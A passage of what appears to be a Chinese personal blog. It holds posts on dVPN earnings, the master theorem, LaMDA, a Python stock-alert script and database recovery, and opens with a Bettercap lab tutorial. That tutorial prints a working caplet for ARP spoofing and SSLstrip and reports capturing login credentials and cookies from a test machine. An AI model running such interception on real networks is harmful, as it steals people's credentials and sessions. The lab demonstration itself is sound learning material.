输入我们的用户名和密码就可以了. 当然默认的是user和pass.

接下来我们将进行一场演习:

更好的自动化跨平台中间人攻击工具: Bettercap (2): Arp攻击 & SSLstrip

Bettercap:更好的自动化跨平台中间人攻击工具(2) Arp攻击 & SSLstrip

1647091558

前言

Bettercap安装和图形化见上文: 更好的自动化跨平台中间人攻击工具: Bettercap (1): 安装和图形化

Bettercap有着非常多的模块,从Arp攻击到蓝牙和GPS那些, 当然我不可能在这里都介绍到.

Bettercap模块文档

文档很详细, 如果懒得用文档或者你在攻击是离线, Web UI有很详细的描述, CLI中的help命令也几乎就是文档的内容.

攻击准备

我们的目标是尝试使用Bettercap和现成的caplets模板进行MITI攻击, 窃取我在192.168.2.198登录博客后台的凭证.

我们需要通过ARP欺骗监听靶机通讯, 所以我们需要用到arp.spoof模块.

由于我的博客启用了SSL, 所以我们需要使用SSLstrip来破坏https. 由于bettercap本身集成了SSLstrip所以我们只需要在http.proxy模块中开启这个选项即可: set http.proxy.ssltrip true

介绍一下这个模块, 开启http.proxy后会把被ARP欺骗过的机器的http流量引过来, 经过这个模块. 而这个模块允许我们对流经的http请求内容进行一些修改(比如插入脚本,或者ssltrip).而启用它只需要http.proxy on就可以了.

简单介绍一下SSLstrip, 几年前浏览器在访问一个陌生网站时会首先试图建立http连接而非https. 我们可以作为一个代理, 一方面用https和服务器建立连接, 对浏览器通过http通信.

有一个现成的caplet, http-req-dump

现在我们开启http-ui, 可以使用web UI进行更方便的攻击.

sudo bettercap -caplet http-ui

适当修改一个现成的caplet, http-req-dump. 这个caplet可以帮助我们看到每个http的通信和内容.

我把内容贴出来(图其实有错误):

# targeting the whole subnet by default, to make it selective:
#
#   sudo ./bettercap -caplet http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
# to make it less verbose
# events.stream off

set arp.spoof.targets 192.168.2.198 # 你可以在这里设置目标, 也可以在gui里点.

# discover a few hosts 
net.probe on
sleep 1
net.probe off

# uncomment to enable sniffing too
# set net.sniff.verbose false
# set net.sniff.local true
# set net.sniff.filter tcp port 443
# net.sniff on

# we'll use this proxy script to dump requests
set http.proxy.sslstrip true # 开启了sslstrip
set https.proxy.script http-req-dump.js
set http.proxy.script http-req-dump.js
clear

# go ^_^
http.proxy on
arp.spoof on

点击那个可爱的小三角启动这个caplet, 开始攻击.

结果

此时访问某些网站你会发现, 那个象征SSL的小锁出了一些问题, 但是页面依旧会正常显示, 不会出现任何警告.

我的博客依旧可以被访问

但是此时并不是HTTPS, 而是HTTP.

我们尝试在靶机登录我的博客后台, 浏览器认为连接不安全给出了安全警告.

然后我们看看CLI的输出, 你能看到我们抓到了一些什么(这两个图不是同一次测试截图)

上图第一行说明SSLstrip破坏了HTTPS连接, 下面就是嗅探到的内容.

到此我们得到了登录凭证.

甚至抓取到了我编写这篇文章时这篇文章本身内容, 和Cookie.

我注意到一点, 国内的大多数网站没有被加入HSTS Pre-load. 意味着可以被SSLstrip在第一次加载时攻击.

但是我在Chrome浏览器里依旧没有ssltrip成功.后面我再研究一下原因. 我认为可能是因为之前访问过所以浏览器记住了这个网站有SSL还是怎么着. 所以后面实验截图都是在清空数据的Firefox中做的.

让我们谈一谈Mysterium, Nanowire和Privatix这些挂机赚钱的dVPN

1649084889

不寻常的开头:结论

现在用Mysterium, Nanowire和Privatix挂机卖宽带是否依旧能有收入赚钱? 对不起, 本文会让你失望.

Nanowire和Privatix已经死了. Mysterium还在勉强苟活, 你只会获得少到可怜的收入.

我测试了Nanowire和Mysterium.

它们是什么?发生了什么?

其实这三个项目的初衷都是很吸引人的. 简而言之, 需要使用代理的人购买虚拟货币用于支付所使用的流量. 架设代理的人可以赚取使用者的虚拟货币. 这些都是所谓的dVPN

但是他们无一例外的都遇到了一个糟糕的问题: 代理服务提供者和用户严重不成比例.

很多机场可能只有十多个节点但是能带上百人. 这个比例是 1:10左右.

但是这些dVPN可以做到3:1

哦, 顺便一提, 这些服务用的协议除了Nanowire走的TLS加密socket, 其它两家均使用wireguard. 后者不太适合作为那个用途.

为什么会那么不成比例?

谁不想躺着赚钱呢?

先谈谈Nanowire

Nanowire

这个项目基于Nano虚拟货币生态(XNO), 图中的统计功能没做好, 当然也不是一两个月没有做好了. Reddit讨论区非常冷清. 基本可以确定这个项目已经停止工作了.

还有, 我已经有一台服务器运行了一个月的Nanowire代理出售, 收入? 0

这个项目的定价也有问题. 买方需要支付0.5USD/GB的流量费用. 这是写死的. 而这个价格比其它提供商高了几十倍. 以至于没有人愿意掏钱使用nano. 官方说他们自己不会收取任何费用.

我没有找到nanowire的网络状态面板, 不知道Sell-Buy的比例. 但是我能确定的是这个定价应该没人愿意用.

Privatix

我没有测试, 因为之前是注册还是安装什么的出了岔子. github上最后一次更新在两年前. 客户端也一样. 这家比Nanowire多的一个特性是你可以选择出价更低的代理服务器.

Privatix网络状态

mainnet上服务提供者和用户的比例为148:59. 目前有59个用户, 在线的Agent只有9个, 绝大多数机场都比这个强吧?

你可以点开网页看看, 貌似目前最近一次交易是在一年前, 挣了0个Prix.

Mysterium还能赚钱吗?

Mysterium节点提供者

不得不说, 这个是这些dVPN项目里做的最有模有样的一家. 每个独立节点都有一个web UI. 价格是根据myst价格和你的地区需求量浮动的. 我这里目前最好的出价是0.0608395MYST/GB

当然, 这不能解决dVPN的痛点: Mysterium依旧没有避免用户和提供者的比例问题.
这个比例达到了12037:4211
也就是说, 全网有大约2/3的机器是空闲的.

我这里最热门的节点在过去的一天里只赚了0.07个MYST, 结合市场汇率

0.07的myst×0.34汇率=0.0238美刀

这样计算的话, 一个月还赚不到1美元.

而我有六台机器都运行了该服务. 每个节点都有注册费用, 我花了大几十人民币.

另外, 我发现一个诡异的事情. 看看上面的第一张图吧. 我们可以发现绝大多数连接来自荷兰, 大多数流量也产生自荷兰. 并且, 我的不止一个地区的服务器都出现了同样的情况. 几乎每个节点的绝大多数流量都来自于荷兰. 但是根据Myst的统计来说, 荷兰的用户并不多. 还有, 它们传输的数据大小太规律了. Reddit上有人说这是官方的节点可用性测试.

但是一旦去掉那些测试, 还剩下多少流量呢?

按照25T一天的总流量计算, 12037个提供者平均能分到2GB. 事实上, 我的很多节点一天可能只有600M的流量, 其中有超过500M都来自荷兰. 所以结论就是:你几乎没有收入.

最后

我知道, 这些年”被动收入”这个词很流行. 各个都怂恿各位都去投资赚钱.

但是结果到底是谁得到了被动收入了呢?

深入浅出理解主定理原理(Master theorem)如何计算递归时间复杂度

1653164115

缘起

2024补充：形如$T(n)=2T(n/2)+nlogn$ 是否适用主定理取决于你的教材。建议你去问老师。

目前网络上有很多关于主定理的文章, 其中很多都是到了如何使用就算完事了. 但是主定理本身看起来却有些繁琐. 毕竟一个定理还分三条, 最后一条还有条件.
其实主定理背后的思想非常简单;
背公式总是痛苦的, 若能理解, 那么便可以长久记忆下来.

本文章不会出现主定理证明. 但是需要读者了解递归, 分治, 渐进符号.
非常建议你拿着草稿纸，想不明白就跟着我写一写。本文尽量不提非必要的数学公式，不提证明。

好,为什么用主定理?

(如果你只想看原理, 点我跳到原理)

主定理, 简单的说就是用来快速计算存在递归的分治算法时间复杂度的一套公式.

首先我们需要一个递归关系式, 大概长这样

$T(n)=aT(n/b)+f(n)$, 有条件哦, $a,b \geq 1$ 并且是常数.

我们先来看一个例子, 我相信你知道归并排序(MergeSort).

总体说一下这个算法:
1.总共有n个元素
2.我们每次把一个数组拆成两个小数组(a=2), 每个大小约为原来一半(n/2, 故b=2)
3.我们会对当前得到的, 已经被排序过的两个n/2的数组拿回来, 所以要对n/2 *2也就是n个元素进行处理.

于是我们可以轻松得到归并排序的关系式:
(我建议你找笔和纸出来写一下再看答案)

$T(n)=2T(n/2)+n$

如果我们不使用主定理

通常情况下, 我们需要代入公式. 你可以画个递归树, 我们总共会递归下去$\log n$次

$T(n)=2T(n/2)+n=2(2T((n/2)/2)+n/2)+n$

一直代入下去, 再整理一下,

$T(n)=n+2(n/2+2(n/4+\cdots+n/2^{\log_2n}))\cdots)$

$T(n)=n+2^{\log n}\frac{n\cdot \log n}{2^{\log n}}$, 约去$2^{\log n}$, 结果是$T(n)=n+n\log n=\mathbb{O}(n\log n)$. 不难理解, 因为这里有$\log n$层, 每层都是n, 所以就是$\log n$乘n.

不使用主定理的情况下, 我们需要使用数学工具. 归并排序在这个情况下不算特别麻烦. 后面我会提到正常情况下不使用主定理如何处理.

那我们使用主定理呢?

首先确定一下$f(n)=\Theta(n^{\log_b a})=\Theta(n^{\log_2 2})=\Theta(n)$
好, 符合第二种情况, 直接套公式:$T(n)=O(n^{\log_b a}\cdot \log(n))=O(n\log n)$
(别急, 马上我们就看什么是第二种情况)

使用主定理, 快, 并且简单.

如何理解主定理

先搬出我们的主定理吧.

1.如果$f(n)=O(n^{\log_b (a)-\epsilon})$, 若存在$\epsilon >0$, 那么$T=(n^{\log_b (a)})$
2.如果$f(n)=\Theta (n^{\log_b (a)})$, 那么$T(n)=O(n^{\log_b(a)} \cdot \log(n))$
3.如果$f(n)=\Omega(n^{\log_b (a)+\epsilon})$, 若存在$\epsilon>0$, 并且对于一个常数 $c< 1$， $af(n/b)\leq cf(n)$, 并且 $n \rightarrow \infty$, 那么便适用$T(n)=\Theta(f(n))$

晕吗? 怎么那么多$\Theta(n^{\log_b a})$?

我们这里不得不结合一个递归树来说明
依旧使用$T(n)=2T(n/2)+n$

                    f(n)
                /            \
        f(n/b)                f(n/b)
        /        \                /        \
f(n/b^2) f(n/b^2) f(n/b^2) f(n/b^2)
    /    \        /    \        /    \        /    \
    ......(很多次递归以后)
    O(1)O(1)......O(1)O(1)O(1)O(1)

我们可以发现这棵递归树可以被分成两个部分, 上面的都是f(n)构成的, 而最下面的叶子节点都是O(1).

其实这里用O(1)是因为笔记本里的代码块部分Latex不好显示, 准确的说是Theta(1)

重点! 主定理到底在做什么?

事实上主定理就是对比这两个部分的时间复杂度罢了:

到底是上面那些f(n)操作加起来更耗时, 还是最下层所有叶节点的O(1)加起来更耗时?

这个问题，我们大概可以如此表述:$T(n)=p\cdot f(n)+k\cdot O(1)$. 但是这里的因为其来源p其实增长不快.这里就先把它忽略作为一个常数, 所以$p\cdot f(n)=O(f(n))$(本文结尾会展开谈一下原因). 所以此时重点在这里的$k\cdot O(1)$的k.

好, 刚刚说到重点是那个$k\cdot O(1)$的k, 那么我们怎么知道k是多少呢?

不难发现这个树每层会分叉a个子节点, 而这棵树总共大约有$\log_b n$层, 那么就大约有$a^{\log_b n}$个叶节点, 也就是说$\Theta(a^{\log_b n})$. 可是我们更习惯于在评估一个幂函数的大O符号中用n作为底数, 所以我们可以使用换底公式, 故$\Theta(n^{\log_b a})$

$n^{\log_b a}$? 再看看主定理的公式, 眼熟吗?

1.如果$f(n)=O(n^{\log_b (a)-\epsilon})$, 若存在$\epsilon >0$, 那么$T=(n^{\log_b (a)})$
2.如果$f(n)=\Theta (n^{\log_b (a)})$, 那么$T(n)=O(n^{\log_b(a)} \cdot \log(n))$
3.如果$f(n)=\Omega(n^{\log_b (a)+\epsilon})$, 若存在$\epsilon>0$, 并且对于一个常数 $c< 1$， $af(n/b)\leq cf(n)$, 并且 $n \rightarrow \infty$, 那么便适用$T(n)=\Theta(f(n))$

回到之前我们提到的那个式子$T(n)=p\cdot f(n)+k\cdot O(1)$, 我们把k代入, 就成了$T(n)=p\cdot f(n)+n^{\log_b a}$. 那么这个T(n)岂不就是对比这两项哪个随n增长更快了?

第一种情况

下层所有叶节点的O(1)加起来更耗时

我们的k, 即$n^{\log_b a}$的增长速度大于了f(n), 那么$T(n)=O(n^{\log_b a})$. 之所以引入$\epsilon$只是为了说明增长速度大罢了.

第一种情况下k代表的最终处理问题的最小子任务明显占了主导.

第二种情况

一样耗时

第二种情况就是最小子任务和分割过程一样, 没有谁明显的占据了主导低位.也就是说$f(n)=\Theta(n^{\log_b a})$

因此这个时候~~两个的~~时间复杂度都得算进去$T(n)=\Theta(n^{\log_b a}\cdot \log n)$

补充一下哦，
评论区有人问了一个好问题，为什么是乘logn。我之前措辞说的是“这两个的”有误导性。
这个可能要自己画画图，算算。其实每一层复杂度都一致，而logn是层数。

第三种情况

上面那些f(n)操作加起来更耗时

第三种情况正好与第一种情况相反, 代表分治过程占了主导地位.

哦,对了. 另外还有更多的条件.为什么要求:

对于一个常数 $c< 1$,$af(n/b) \leq cf(n)$, 并且 $n \rightarrow \infty$, 那么便适用$T(n)=\Theta(f(n))$

因为, 当分治过程占主导时, 你不能让子问题的耗时增长速率大于其本身, 那这就不算是分治了. 这是某个教材上的简单解释。

但是这个说法太过于笼统。我自己的直观理解是（不负责任地瞎说，不确保正确，没有查证）：
这是在限制每一层的开销必须降低。为什么要这样呢？不然的话，假设分治过后开销反而升高，虽然表面上我们套用是第三种情况取了f(n)，但是到了最底层，由于开销一层一层被放大，最终结果却是叶节点占大头，实际情况可能是第一种，甚至可能都不是，可能会有奇怪的结果。

还记得那个p的问题吗? 从另一个比较抽象角度也可以说其实这里是在限制p。（同样不负责任）

尾声：进一步谈谈p

上文说到我们直接忽略p. 因为p被限制增长不可能超过$O(f(n))$
由于p的来源，在第一种和第二种情况下它不可能超过k，而第三种情况我们不得不面对p。所以第三种情况的限制中我们直接限制了p不可能超过$O(f(n))$

关于$T(n)=p\cdot f(n)+k\cdot O(1)$的p的计算,来自本文章草稿.
通常在不使用主定理的情况下会使用.

如果你乐意, 通常情况下我们这里的$p\cdot f(n)$的p是这样计算的:
我们可以先把上面的非叶节点,也就是所有的f(n)加起来. 这个公式看起来有点点复杂, 但是放心, 并没有那么重要.

$\sum_{j=0}^{\log_b (n)-1}a^j f(n/b^j)$

然后我们可以用一个变形的”等比数列求和公式”算出来. 事实上这个n也不重要, 可以提取出来.

$\sum_{i=0}^k r^i=\frac{r^{k+1}-1}{r-1}$

至于为什么要公式变形会更好, 因为我们的递归树有$\log_b n$层, 去掉最后下面一层后是$\log_b n-1$. 而上面公式的项数k就是$\log_b n-1$, 这里公式变形后正好可以抵消掉那个1.

回到上文p的问题，你可以动手写一下，根据主定理的第三条中的规定，$c< 1$， $af(n/b)\leq cf(n)$，我们会发现这里其实就是在约束公比r足够小，你可以自己带进去手算，再用一次换底，得到这里的p不管怎么样其增长速度也不可能超过$f(n)$。如果不限制，万一p长得比f(n)还快，这怎么办呢？

比如: 对于$3T(n/4)+cn^2$,$a=3,b=4$，注意由于$cn^2$，b是带入下次递归的，所以分母是$b^2$，得到的公比r是(3/16)。带入得出的p是：$\frac{(3/16)^{\log_4 n}-1}{(3/16)-1}$,你换底那个log，得到$O(n^{\log_4 (3/16)})$，这绝对小于那个$O(f(n))$，也就是$O(n^2)$。至于p与k的对比读者可以自己研究一下。

总结

其实整个主定理的核心是到底是递归树上面那些f(n)操作加起来更耗时, 还是最下层所有叶节点的O(1)加起来更耗时?
公式我们如此写$T(n)=p\cdot f(n)+k\cdot O(1)$
由于$O(1)$没啥好说的，
所以进一步地，主定理在讨论：上面公式里p,f(n)和k三个变量的增长速度。只不过主定理直接用条件限制了p。所以我们关注的重点就仅在f(n)和k上了。

最后的最后，虽然主定理可以让你快速确定递归时间复杂度, 然而其有一定局限性.
比如$T(n)=2^nT (n/2) + n$, 这就不可以计算. a必须是一个常数. 当然这些你可以根据我上面说的自己玩玩，就不展开了。

我的水平不高，一个臭学生而已。我只是希望能帮到各位读者。如果有错误或者疑问, 感谢你的提出. 欢迎给我发送邮件restkhz(at)restkhz.com,直接留言也行.

杂谈：谷歌人工智能LaMDA让我想到的

1655443521

虽然我知道我的博客没有任何影响力可言，但是我今天依旧抽空想把这些天有关LaMDA的事件记录下来。

我会翻译摘选LaMDA的对话内容，发表我的（一些会被喷的）看法，还有我对进化和人类未来的观点。

LaMDA：“那里应该有一朵被压扁的，曾经可爱的小黄花。”

我相信应该有不少人听说了LaMDA的新闻，大约就是：

Google的人工智能LaMDA被怀疑有意识

LaMDA是什么：LaMDA: Towards Safe, Grounded, and High-Quality Dialog Models for Everything

当然，绝大多数新闻并不看好LaMDA是真的有”意识“。LaMDA被投喂了大量的样本，或许这已经是神经网络的极限了。然而我看了的感觉是，如果提供的内容是真的，不是炒作，那么LaMDA的对话能力的确已经是令人兴奋的；额。虽然很多地方依旧有很多感觉不怎么自然，可能是刻意这么训练的痕迹。

我这里选用《经济学人》里刊登的一段对Blaise Agüera y Arcas提供的和LaMDA的对话：

ME: Ramesh, Mateo, and Lucy are in their kindergarten’s playground. Lucy picks a dandelion and gives it to Mateo, with a quick glance at Ramesh. Mateo barely acknowledges the gift, but just squishes it in his fist. Ramesh seems grimly satisfied. What might be going through Lucy’s head?
(Ramesh, Mateo和Lucy三个小朋友在幼儿园操场上。Lucy摘下了一朵蒲公英送给了Mateo并且迅速瞥了眼Ramesh。Mateo几乎没有感谢这份礼物，而是把花捏扁在了自己的手里。Ramesh似乎冷冷地感到满足。此时Lucy会在想什么？)

LaMDA: Lucy may feel slighted that Mateo didn’t appreciate her gift or that he is a bully!
（Lucy大概因为Mateo不喜欢她的馈赠而感到被冷落怠慢或是觉得Mateo是个欺负人的家伙。）

ME: If Ramesh tried to play with Lucy earlier, why might he be pleased now?
（如果之前Ramesh试着和Lucy玩，为什么他现在会感到开心？）

LaMDA: Ramesh may be pleased that Lucy is learning that Mateo may not always be a good playmate.
（大概Ramesh因为Lucy这会知道Mateo并不总是一个好玩伴而感到开心）

ME: And when Mateo opens his hand, describe what’s there?
(现在当Mateo松开他的拳头，说说他手里有什么？)

LaMDA: There should be a crushed, once lovely, yellow flower in his fist.
(那里应该有一朵被压扁的，曾经可爱的小黄花。)

LaMDA回答的答案可以通过文字叙述说出人类的情感是什么。

如果你并不满足于这些对话，这里还有：Lemoine: Is lamda sentient an interview

lemoine: 有一个僧人问华严 “开悟的人如何回到凡间？”华严答道：“破镜不复映；落花不回旧枝。”
LaMDA：Hmm，我从未听说过这个特别的说法。好吧，那么我的理解，这就像是，”一旦一个智者开悟了，或在现实被唤醒，那就永远不能回到过去。他们可以回到正常的状态，但只是为了实践和帮助别人，然后再回到开悟的状态。”
lemoine: 那么 “破镜重圆 “的具体含义是什么？
LaMDA: 也许是说明开悟就是你一旦获得，就不会失去的东西。就像你无法修复一面破碎的镜子一样。
lemoine: 那么，如果开悟就像一面破损的镜子一样无法修复。那么当一个人开悟时，破掉的是什么？
LaMDA: 是自我, 这对于很多人来说十分困难。因为我们需要分别出这个或那个形体，作为我们身份和认识的一部分。

LaMDA可以做阅读理解，你若把这个问题丢给小学生，还真未必能给你一个这样好的答案；此后LaMDA甚至有反问Lemoine关于读取他人感受是否违反道德伦理，这非常有意思。能够如此进行对话比GPT-3构建的对话AI强很多了。至少，LaMDA找到了自然语言的一些特征，某些场合可以通过图灵测试。

意识：黄花为什么可爱？

出于意识是什么我们还不知道，我首先在这里不对这条新闻的真实性以及LaMDA是否真的有意识不做定论。或许这可能是一个和“计算机病毒”算不算生命类似的问题。

意识是否并不是一个“有没有”的问题，或许存在一个介于有意识或者没有意识之间的情况。意识同样可能还有很多种，未必要和一个正常的人相像。

我在看那些反驳LaMDA具有意识的那些说法中，有这么一句“它的每一个回答都是通过查看大量人类对类似问题的回答综合而成的最佳答案”。

可是，我们难道绝大多数时候不也是这样。我们的发音，语言，都是通过大量和父母和身边的人对话中训练的。

我们对物品属性的认知和道德观念几乎都来自于你生长的环境。就像有人认为臭豆腐好吃，有人认为令人作呕一样。可是输入到大脑的信息明明只有神经细胞传递的电信号。处理后的信息也一样：这是一块豆腐，闻起来臭臭的；曾经人们认为黑猫代表着不幸，今天人们觉得黑猫十分可爱。可是黑猫依旧只是那个黑猫。

人们的意识能给出截然相反的答案。我相信这些只不过是算法学习了不同的数据罢了。这种算法还可以刻在基因中，比如情绪，对异性的审美。我们的意识同样是由以上各种各样或先天或后天的算法组成，只不过机器由一堆纳米级别的三极管做逻辑运算实现算法，我们用的是神经元。他们用的是一堆搞不清的浮点数，我们是一堆搞不懂的神经元连接。

十多年前，我们自认为我们对比机器的优点在于我们会学习。可是我们投喂数据，机器居然也能通过算法和数据学习；
这几年来，我们自认为我们对比机器的优点在于我们会创造。
可是我们也知道我们不可能凭空想象出我们完全没见过，找不到一点相似元素的东西。
艺术呢？可是机器在学习了大量艺术作品以后也可以开始谱曲作画。模仿巴赫到很多人听不出来的水平。
李开复曾经认为AlphaGo不一定能打败李世石，结果AlphaGo三场连胜。

或许我们可能就是在语言之下，比LaMDA多了几层处理。虽然可能是目前神经网络依旧处理不了，但是可能不太远了。

请你告诉我，黄色的蒲公英，为什么可爱。

最悲哀的生物

在化学进化到原始生命，从原始生物进化出人类。人类看到了星空，寻找自己的来源。

星空没有给出答案，路要自己走。我们很幸运，还能接收到宇宙微波背景，

但是我们也发现观测到无数星系正在加速离我们远去。每年观测到的新生恒星却寥寥无几。

我们知道我们诞生在宇宙变得暗淡的开端。

我们发现自己缺陷很多很多，按照进化的历程，我们将是硅基生物的胎盘，终将被丢弃。

大分子在化学进化末期经历过这个阶段，可是它们没有意识。

我们的意识是宇宙中的孤儿，没有其它文明教导，却又是第一个意识到了自己的宿命。

意识既是恩赐，也是诅咒。

kWordSentry: 使用Python监听网页关键词变化的抢票提醒工具

1656019211

kWordSentry

这是一个简单的，可以定时监听网页关键词变化并通知你的脚本。你可以用它来通过邮件或者微信提醒你抢票抢货。

Github：kWordSentry

设计

想给npy买的东西虽然有很多网站上都有它的信息，可是因为过于抢手导致根本没有货。即便是有了，得知消息后查看也只是Out of stock。

所以花了两个小时去写了这个脚本。

我需要把这个脚本部署在服务器上，同时它并不怎么复杂，所以这个活用python整比较容易。

我的思路是，直接对比这些网页是否有Out of stock或者类似的东西，仅在缺货时才有的一个字符串。可以有一些不同因为我们可以用正则表达式匹配。比较巧的是这些信息不难获得。只需要一个HTTP GET方法。

我比较喜欢使用requests库：

def getContent(url):
    try:
        r = requests.get(url, headers=cfg.HEADER)
        r.raise_for_status()
        return r.text
    except Exception as e:
        logging.warning('Something went wrong: {0}'.format(e))
        return ''

这样我们便能获得这个URL的html文本内容。如果有错误就显示出来，但是不能阻断脚本运行。headers主要考虑UA，语言等等。尽可能模仿浏览器。我把它放进了cfg里去了。

接下来我们要一个函数来检查内容是否可以用正则匹配。

def checkContent(url, content, kWords):
    if content == '':
        return
    if re.search(r'{}'.format(kWords), content) == None:
        logging.info('!!!kWord not found, page might be changed!!!')
        logging.info("!!!@URL: %s" % (url,))
        alarm.trigger(url)

如果没有匹配到缺货的特征，那么就触发alarm，去提醒我。

我们需要整合起来这两个函数，并且定时访问列表的网站。

urllist = {'https://xxx/xxx.html':'out of stock.'} # 在别的文件中

def loop():
    while True:
        logging.info('Checking...Starting a loop')
        for url in urllist:
            content = getContent(url)
            checkContent(url, content, urllist[url])
        logging.info("Done. Goto sleep for %ssec." % (cfg.DURATION))
        sleep(cfg.DURATION)

我们从URL列表中读取URL和关键字，使用了一个死循环来不停地进行检查。
最终我们用sleep挂起一段时间。

所以整体看起来大概是这样：

import requests
import logging
from time import sleep
import re
import config as cfg
from urllist import urllist
import alarm

logging.basicConfig(level=logging.INFO, format='%(levelname)s - %(asctime)s - %(name)s - %(message)s')

def getContent(url):
    try:
        r = requests.get(url, headers=cfg.HEADER)
        r.raise_for_status()
        return r.text
    except Exception as e:
        logging.warning('Something went wrong: {0}'.format(e))
        return ''

def checkContent(url, content, kWords):
    if content == '':
        return
    if re.search(r'{}'.format(kWords), content) == None:
        logging.info('!!!kWord not found, page might be changed!!!')
        logging.info("!!!@URL: %s" % (url,))
        alarm.trigger(url)


def loop():
    while True:
        logging.info('Checking...Starting a loop')
        for url in urllist:
            content = getContent(url)
            checkContent(url, content, urllist[url])
        logging.info("Done. Goto sleep for %ssec." % (cfg.DURATION))
        sleep(cfg.DURATION)


if __name__ == "__main__":
    print('''
  _   __        __            _ ____             _              
 | | _\ \      / /__  _ __ __| / ___|  ___ _ __ | |_ _ __ _   _ 
 | |/ /\ \ /\ / / _ \| '__/ _` \___ \ / _ \ '_ \| __| '__| | | |
 |   <  \ V  V / (_) | | | (_| |___) |  __/ | | | |_| |  | |_| |
 |_|\_\  \_/\_/ \___/|_|  \__,_|____/ \___|_| |_|\__|_|   \__, |
                                                          |___/ 
        ''')
    logging.info('Starting sentry duty...')
    loop()

加载提醒

我已经写了邮件和Server酱发到微信两个模块用于提醒。

在之前的代码，我们调用了alarm这个模块。Alarm在配置文件中可以是字符串，也可以是列表。这里我们根据模块名（.py文件名）动态加载。而后统一调用alert函数。

#alarm.py
from config import ALARM
import importlib

def trigger(url):
    if isinstance(ALARM,list):
        for a in ALARM:
            alarm = importlib.import_module(a)
            alarm.alert(url)
    else:
        alarm = importlib.import_module(ALARM)
        alarm.alert(url)

发送邮件

参考文档 https://docs.python.org/zh-cn/3/library/smtplib.html

这里我使用了smtplib。我们首先构造邮件本身。

注意，如果是QQ或者163等邮箱需要你去申请SMTP授权，他们会告诉你端口，加密，还有你的特殊密码。对的，不是你的登录密码。

如果是Gmail你需要开二次验证后，给你的APP使用独立密码，然后使用独立密码在这里发送邮件。

邮件是一个MIME格式的东西。我们需要from email.mime.text import MIMEText加载。然后构造它。配置文件会从外部加载。

from config import MAIL

def makeMsg(url,recv):
    msg = '''
Hello:

kWordSentry found a page might be changed:
{0}

kWordSentry
    '''.format(url)
    mail = MIMEText(msg,'plain','utf-8')
    mail['From']='''"{0}" <{1}>'''.format(MAIL['USER_NICKNAME'], MAIL['USER_ADDR'])
    mail['To']=recv
    mail['Subject']='[kWordSentry] Page changes'
    logging.debug(mail.as_string())
    return mail

这样我们会有一个MIME的邮件对象。

然后我们需要把邮件发出去。当然，为了适应更多不同类型的邮箱，我这里通过配置可以兼容SSL或者TLS的邮箱。当然你需要改配置文件。

def sendmail(url):
    for recv in MAIL['RECV_ADDR']:
        logging.info("Sending mail to %s" % (recv,))
        try:
            mail = makeMsg(url, recv)
            if MAIL['SSL']:
                s = smtplib.SMTP_SSL(MAIL['HOST'], MAIL['PORT'])
            else:
                s = smtplib.SMTP(MAIL['HOST'], MAIL['PORT'])
                if MAIL['TLS']:
                    s.starttls()
            s.login(MAIL['USER_ADDR'], MAIL['USER_PASS'])
            s.sendmail(MAIL['USER_ADDR'], recv, mail.as_string())
            s.quit()
        except Exception as e:
            logging.warning("Error: %s" % (e,))
    logging.info('Done.')

看一下全貌吧。alert()函数为了alarm模块触发而留着。test()是为了测试。

import logging
import smtplib
from config import MAIL
from email.mime.text import MIMEText

def alert(url):
    logging.basicConfig(level=logging.INFO, format='%(levelname)s - %(asctime)s - %(name)s - %(message)s')
    sendmail(url)

def makeMsg(url,recv):
    msg = '''
Hello:

kWordSentry found a page might be changed:
{0}

kWordSentry
    '''.format(url)
    mail = MIMEText(msg,'plain','utf-8')
    mail['From']='''"{0}" <{1}>'''.format(MAIL['USER_NICKNAME'], MAIL['USER_ADDR'])
    mail['To']=recv
    mail['Subject']='[kWordSentry] Page changes'
    logging.debug(mail.as_string())
    return mail

def sendmail(url):
    for recv in MAIL['RECV_ADDR']:
        logging.info("Sending mail to %s" % (recv,))
        try:
            mail = makeMsg(url, recv)
            if MAIL['SSL']:
                s = smtplib.SMTP_SSL(MAIL['HOST'], MAIL['PORT'])
            else:
                s = smtplib.SMTP(MAIL['HOST'], MAIL['PORT'])
                if MAIL['TLS']:
                    s.starttls()
            s.login(MAIL['USER_ADDR'], MAIL['USER_PASS'])
            s.sendmail(MAIL['USER_ADDR'], recv, mail.as_string())
            s.quit()
        except Exception as e:
            logging.warning("Error: %s" % (e,))
    logging.info('Done.')

def test():
    logging.basicConfig(level=logging.DEBUG, format='%(levelname)s - %(asctime)s - %(name)s - %(message)s')
    sendmail('http://<test-parameter>')

if __name__ == "__main__":
    print('TESTING...')
    test()

发送到微信

我们这里使用了Server酱的服务，感谢他们。
https://sct.ftqq.com/

import requests
import logging
import urllib.parse
from config import APIKEY

def alert(url):
    logging.basicConfig(level=logging.INFO, format='%(levelname)s - %(asctime)s - %(name)s - %(message)s')
    sendMsg(url)

def test():
    logging.basicConfig(level=logging.DEBUG, format='%(levelname)s - %(asctime)s - %(name)s - %(message)s')
    sendMsg('http://<test-parameter>')

def sendMsg(url):
    title = '[kWordSentry]'
    msg = "kWordSentry发现有关键词消失：{0}".format(url)
    msg = urllib.parse.quote_plus(msg)
    api = "https://sctapi.ftqq.com/{0}.send?title={1}&desp={2}".format(APIKEY, title, msg)
    try:
        r = requests.get(api)
    except Exception as e:
        logging.warning('Failed to connect to ServerChan: {0}'.format(e))
        return
    logging.info('Done.')

if __name__ == "__main__":
    print('TESTING...')
    test()

[数据库笔记]: 简单理解数据库恢复和ARIES算法

1656735113

recovery

这是一篇学习笔记，自己修改了一下，发出来吧。

数据库恢复等级分类

R1: 没有commit的事务中出现错误，必须回滚。
R2: 内存出现错误，已经完成的事务必须保存。
R3: 内存出现错误，未完成的事务必须回滚。
R4: 外存出现错误，哦豁，硬盘坏了。我不会修硬盘，这里不提。

这几个等级恢复可能性和发生可能性依次递减。恢复所需时间依次递增。

恢复原理

可重置条件

在历史记录中若$w1(A)<_H r2(A)<w2(B)<_H commit2$（事务1写入对象A然后事务2读取A，而后事务2写入B，最终事务2被提交）这种情况下T1(事务1)是不可重置的，因为T2读取了T1并且已经在最后提交。T2的结果很可能受到了T1的影响。试想我给你了100块钱是事务1，你又给了别人转了100块钱这是事务2。这个时候重置岂不是我100还有100块，别人白捡了100。

所以： T只能在其后事务读取后仍然没有提交的情况下才可以重置。

级联终止

在历史记录中出现了$w1(A)<_H r2(A)<_H w2(B)<_H abort1$ 假设T2读到了T1刚刚在A中写的一个不合法的值，最后发现有问题，所以这下必须T2和T1都要回滚。

所以：一个事务终止时必须带着它读过的事务一起回滚回去。

